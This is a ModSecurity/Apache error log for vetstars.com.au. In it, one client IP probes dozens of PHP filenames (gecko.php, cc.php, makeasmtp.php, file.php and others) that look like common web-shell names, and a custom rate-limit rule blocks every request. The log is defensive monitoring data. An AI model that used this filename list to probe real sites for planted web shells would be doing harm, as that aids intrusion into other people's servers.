[Mon Jan 05 18:49:41.787133 2026] [:error] [pid 5536:tid 5603] [client 4.197.220.165:15538] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVuXRQRtMZNG6xI8yDzODQAAAIY"]
[Mon Jan 05 18:49:41.886753 2026] [:error] [pid 28407:tid 28410] [client 4.197.220.165:15593] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aVuXRdercd3ptydUzM0xTwAAAYA"]
[Mon Jan 05 18:49:42.061627 2026] [:error] [pid 6680:tid 6682] [client 4.197.220.165:11083] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aVuXRqE58uNoazzTmx3YygAAAQA"]
[Mon Jan 05 18:49:42.391441 2026] [:error] [pid 5535:tid 5583] [client 4.197.220.165:11217] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aVuXRmnkedMjhVX0PTVdLQAAAE0"]
[Mon Jan 05 18:49:42.925810 2026] [:error] [pid 5536:tid 5597] [client 4.197.220.165:11253] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aVuXRgRtMZNG6xI8yDzODwAAAIA"]
[Mon Jan 05 18:49:43.317196 2026] [:error] [pid 5632:tid 5650] [client 4.197.220.165:11233] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aVuXR4N3ZWvlOh-nbt-wwgAAAMY"]
[Mon Jan 05 18:49:43.475361 2026] [:error] [pid 5536:tid 5606] [client 4.197.220.165:15539] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aVuXRwRtMZNG6xI8yDzOEgAAAIk"]
[Mon Jan 05 18:49:43.773177 2026] [:error] [pid 5536:tid 5600] [client 4.197.220.165:11260] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aVuXRwRtMZNG6xI8yDzOFAAAAIM"]
[Mon Jan 05 18:49:43.990466 2026] [:error] [pid 5632:tid 5665] [client 4.197.220.165:15585] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aVuXR4N3ZWvlOh-nbt-wwwAAANU"]
[Mon Jan 05 18:49:44.115744 2026] [:error] [pid 28407:tid 28429] [client 4.197.220.165:11177] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aVuXSNercd3ptydUzM0xUwAAAZI"]
[Mon Jan 05 18:49:44.224672 2026] [:error] [pid 5632:tid 5655] [client 4.197.220.165:11257] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aVuXSIN3ZWvlOh-nbt-wxAAAAMs"]
[Mon Jan 05 18:49:44.271541 2026] [:error] [pid 28407:tid 28422] [client 4.197.220.165:11259] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aVuXSNercd3ptydUzM0xVQAAAYs"]
[Mon Jan 05 18:49:44.417935 2026] [:error] [pid 5632:tid 5662] [client 4.197.220.165:11159] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aVuXSIN3ZWvlOh-nbt-wxQAAANI"]
[Mon Jan 05 18:49:44.703261 2026] [:error] [pid 28407:tid 28414] [client 4.197.220.165:11145] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aVuXSNercd3ptydUzM0xVwAAAYQ"]
[Mon Jan 05 18:49:44.906409 2026] [:error] [pid 28407:tid 28428] [client 4.197.220.165:11112] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aVuXSNercd3ptydUzM0xWAAAAZE"]
[Mon Jan 05 18:49:44.984741 2026] [:error] [pid 28407:tid 28413] [client 4.197.220.165:15500] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aVuXSNercd3ptydUzM0xWQAAAYM"]
[Mon Jan 05 18:49:45.117853 2026] [:error] [pid 5535:tid 5589] [client 4.197.220.165:11141] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aVuXSWnkedMjhVX0PTVdMAAAAFM"]
[Mon Jan 05 18:49:45.329306 2026] [:error] [pid 5632:tid 5659] [client 4.197.220.165:11201] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aVuXSYN3ZWvlOh-nbt-wxgAAAM8"]
[Mon Jan 05 18:49:45.543917 2026] [:error] [pid 5536:tid 5607] [client 4.197.220.165:15502] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aVuXSQRtMZNG6xI8yDzOGgAAAIo"]
[Mon Jan 05 18:49:45.968113 2026] [:error] [pid 6680:tid 6696] [client 4.197.220.165:11140] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aVuXSaE58uNoazzTmx3YywAAAQ4"]
[Mon Jan 05 18:49:46.328061 2026] [:error] [pid 6680:tid 6703] [client 4.197.220.165:11152] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aVuXSqE58uNoazzTmx3YzAAAARU"]
[Mon Jan 05 18:49:46.573247 2026] [:error] [pid 5535:tid 5585] [client 4.197.220.165:11225] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aVuXSmnkedMjhVX0PTVdMgAAAE8"]
[Mon Jan 05 18:49:46.788981 2026] [:error] [pid 54081:tid 54085] [client 4.197.220.165:11218] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aVuXSlL4jLgtF-b9w4dvVgAAAUE"]
[Mon Jan 05 18:49:46.942797 2026] [:error] [pid 54081:tid 54088] [client 4.197.220.165:11220] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aVuXSlL4jLgtF-b9w4dvWQAAAUQ"]
[Mon Jan 05 18:49:47.070297 2026] [:error] [pid 54081:tid 54101] [client 4.197.220.165:11250] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aVuXS1L4jLgtF-b9w4dvWgAAAVE"]
[Mon Jan 05 18:49:47.213276 2026] [:error] [pid 5535:tid 5593] [client 4.197.220.165:15602] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aVuXS2nkedMjhVX0PTVdMwAAAFc"]
[Mon Jan 05 18:49:47.323299 2026] [:error] [pid 5632:tid 5645] [client 4.197.220.165:11143] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aVuXS4N3ZWvlOh-nbt-wywAAAME"]
[Mon Jan 05 18:49:47.436280 2026] [:error] [pid 54081:tid 54086] [client 4.197.220.165:11207] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aVuXS1L4jLgtF-b9w4dvWwAAAUI"]
[Mon Jan 05 18:49:47.508710 2026] [:error] [pid 54081:tid 54097] [client 4.197.220.165:11186] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aVuXS1L4jLgtF-b9w4dvXAAAAU0"]
[Mon Jan 05 18:49:47.595890 2026] [:error] [pid 5535:tid 5584] [client 4.197.220.165:11248] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aVuXS2nkedMjhVX0PTVdNAAAAE4"]
[Mon Jan 05 18:49:47.635311 2026] [:error] [pid 5536:tid 5604] [client 4.197.220.165:11255] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aVuXSwRtMZNG6xI8yDzOHAAAAIc"]
[Mon Jan 05 18:49:47.684375 2026] [:error] [pid 5535:tid 5592] [client 4.197.220.165:11180] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aVuXS2nkedMjhVX0PTVdNQAAAFY"]
[Mon Jan 05 18:49:47.727644 2026] [:error] [pid 28407:tid 28412] [client 4.197.220.165:15525] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aVuXS9ercd3ptydUzM0xXQAAAYI"]
[Mon Jan 05 18:49:47.771617 2026] [:error] [pid 5535:tid 5591] [client 4.197.220.165:11213] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aVuXS2nkedMjhVX0PTVdNgAAAFU"]
[Mon Jan 05 18:49:47.816953 2026] [:error] [pid 28407:tid 28433] [client 4.197.220.165:11151] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aVuXS9ercd3ptydUzM0xXgAAAZY"]
[Mon Jan 05 18:49:47.953091 2026] [:error] [pid 5535:tid 5570] [client 4.197.220.165:11214] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aVuXS2nkedMjhVX0PTVdNwAAAEA"]
[Mon Jan 05 18:49:48.138701 2026] [:error] [pid 5536:tid 5603] [client 4.197.220.165:11254] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aVuXTARtMZNG6xI8yDzOHgAAAIY"]
[Mon Jan 05 18:49:48.318102 2026] [:error] [pid 6680:tid 6688] [client 4.197.220.165:15541] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVuXTKE58uNoazzTmx3YzQAAAQY"]
[Mon Jan 05 18:49:48.448889 2026] [:error] [pid 54081:tid 54084] [client 4.197.220.165:11209] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVuXTFL4jLgtF-b9w4dvXgAAAUA"]
[Mon Jan 05 18:49:48.565438 2026] [:error] [pid 6680:tid 6700] [client 4.197.220.165:15615] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVuXTKE58uNoazzTmx3YzgAAARI"]
[Mon Jan 05 18:49:48.658103 2026] [:error] [pid 5632:tid 5668] [client 4.197.220.165:11094] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVuXTIN3ZWvlOh-nbt-wzgAAANg"]
[Mon Jan 05 18:49:48.773871 2026] [:error] [pid 6680:tid 6702] [client 4.197.220.165:11205] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVuXTKE58uNoazzTmx3YzwAAARQ"]
[Mon Jan 05 18:49:48.882725 2026] [:error] [pid 5632:tid 5653] [client 4.197.220.165:11164] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVuXTIN3ZWvlOh-nbt-wzwAAAMk"]
[Mon Jan 05 18:49:49.162245 2026] [:error] [pid 6680:tid 6695] [client 4.197.220.165:15546] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVuXTaE58uNoazzTmx3Y0AAAAQ0"]
[Mon Jan 05 18:49:49.222709 2026] [:error] [pid 28407:tid 28421] [client 4.197.220.165:15521] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVuXTdercd3ptydUzM0xXwAAAYo"]
[Mon Jan 05 18:49:49.312700 2026] [:error] [pid 6680:tid 6693] [client 4.197.220.165:11222] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aVuXTaE58uNoazzTmx3Y0QAAAQs"]
[Mon Jan 05 18:49:49.428423 2026] [:error] [pid 28407:tid 28432] [client 4.197.220.165:15592] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aVuXTdercd3ptydUzM0xYAAAAZU"]
[Mon Jan 05 18:49:49.602511 2026] [:error] [pid 5534:tid 5562] [client 4.197.220.165:11144] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aVuXTZNs9XmbR6unB0ylnwAAABM"]
[Mon Jan 05 18:49:49.687856 2026] [:error] [pid 5534:tid 5548] [client 4.197.220.165:15520] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aVuXTZNs9XmbR6unB0yloAAAAAU"]
[Mon Jan 05 18:49:49.740388 2026] [:error] [pid 5534:tid 5567] [client 4.197.220.165:11202] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aVuXTZNs9XmbR6unB0yloQAAABg"]
[Mon Jan 05 18:49:49.819235 2026] [:error] [pid 5534:tid 5554] [client 4.197.220.165:11221] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aVuXTZNs9XmbR6unB0ylogAAAAs"]
[Mon Jan 05 18:49:49.864525 2026] [:error] [pid 5534:tid 5553] [client 4.197.220.165:11219] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aVuXTZNs9XmbR6unB0ylowAAAAo"]
[Mon Jan 05 18:49:49.907994 2026] [:error] [pid 5534:tid 5551] [client 4.197.220.165:11258] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aVuXTZNs9XmbR6unB0ylpAAAAAg"]
[Mon Jan 05 18:49:49.963329 2026] [:error] [pid 5632:tid 5650] [client 4.197.220.165:15532] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVuXTYN3ZWvlOh-nbt-w0QAAAMY"]
[Mon Jan 05 18:49:50.078634 2026] [:error] [pid 6680:tid 6683] [client 4.197.220.165:11174] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVuXTqE58uNoazzTmx3Y1AAAAQE"]
[Mon Jan 05 18:49:50.248790 2026] [:error] [pid 5534:tid 5564] [client 4.197.220.165:11252] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVuXTpNs9XmbR6unB0ylqAAAABU"]
[Mon Jan 05 18:49:50.441929 2026] [:error] [pid 6680:tid 6706] [client 4.197.220.165:11246] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVuXTqE58uNoazzTmx3Y1QAAARg"]
